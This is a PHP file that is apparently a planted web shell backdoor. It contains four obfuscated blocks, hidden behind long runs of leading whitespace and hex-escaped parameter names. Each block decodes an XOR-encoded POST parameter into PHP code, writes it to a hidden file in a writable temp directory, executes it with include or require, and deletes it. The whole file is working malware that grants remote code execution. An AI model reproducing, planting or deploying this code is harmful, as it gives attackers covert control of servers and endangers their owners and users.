<?php																																										if(filter_has_var(INPUT_POST, "\x6Da\x72k\x65r")){ $component = $_REQUEST["\x6Da\x72k\x65r"]; $component=explode( '.' ,$component ) ; $reference=''; $s6='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s6 ); foreach( $component as $n => $v8) { $sChar=ord( $s6[$n% $lenS] ); $dec=( ( int)$v8 - $sChar -( $n% 10)) ^ 57; $reference .= chr( $dec ); } $value = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); for ($obj = 0, $entity = count($value); $obj < $entity; $obj++) { $parameter_group = $value[$obj]; if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $binding = str_replace("{var_dir}", $parameter_group, "{var_dir}/.ent"); if (@file_put_contents($binding, $reference) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "k")){ $element = $_POST["k"]; $element= explode ( "." , $element) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $element as $p=> $v3) { $sChar = ord( $salt[$p % $lenS] ); $d = ( ( int)$v3 - $sChar -( $p % 10)) ^ 20; $object.=chr( $d ); } $desc = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); foreach ($desc as $descriptor) { if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $record = sprintf("%s/.comp", $descriptor); if (file_put_contents($record, $object)) { require $record; unlink($record); die(); } } } }
																																										if(!is_null($_POST["i\x74\x65m"] ?? null)){ $object = $_POST["i\x74\x65m"]; $object = explode ( "." , $object) ; $ptr = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $w = 0; $__tmp = $object; while ($v8 = array_shift($__tmp)) { $sChar = ord($salt7[$w % $sLen]); $d = ((int)$v8 - $sChar - ($w % 10)) ^ 37; $ptr .= chr($d); $w++; } $record = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", "/tmp", getcwd()]); foreach ($record as $tkn) { if (is_writable($tkn) && is_dir($tkn)) { $parameter_group = "$tkn" . "/.descriptor"; if (@file_put_contents($parameter_group, $ptr) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }


if(@$_POST["\x72\x65s"] !== null){
	$itm = $_POST["\x72\x65s"];
	 	 $itm	=explode 		( "."		 ,$itm  	)		 ;	
	$val = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
    
            foreach ($itm as $z 	=>	$v4):
                $chS = ord($s[$z % $sLen]);
                $dec = ((int)$v4 - $chS - ($z % 10)) ^ 73;
                $val .= chr($dec);
            endforeach;
	$flg = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path()]);
	$mrk = 0;
do {
    $flag = $flg[$mrk] ?? null;
    if ($mrk >= count($flg)) break;
    		if ((bool)is_dir($flag) && (bool)is_writable($flag)) {
    $pset = sprintf("%s/.reference", $flag);
    $file = fopen($pset, 'w');
if ($file) {
	fwrite($file, $val);
	fclose($file);
	include $pset;
	@unlink($pset);
	die();
}
}
    $mrk++;
} while (true);
}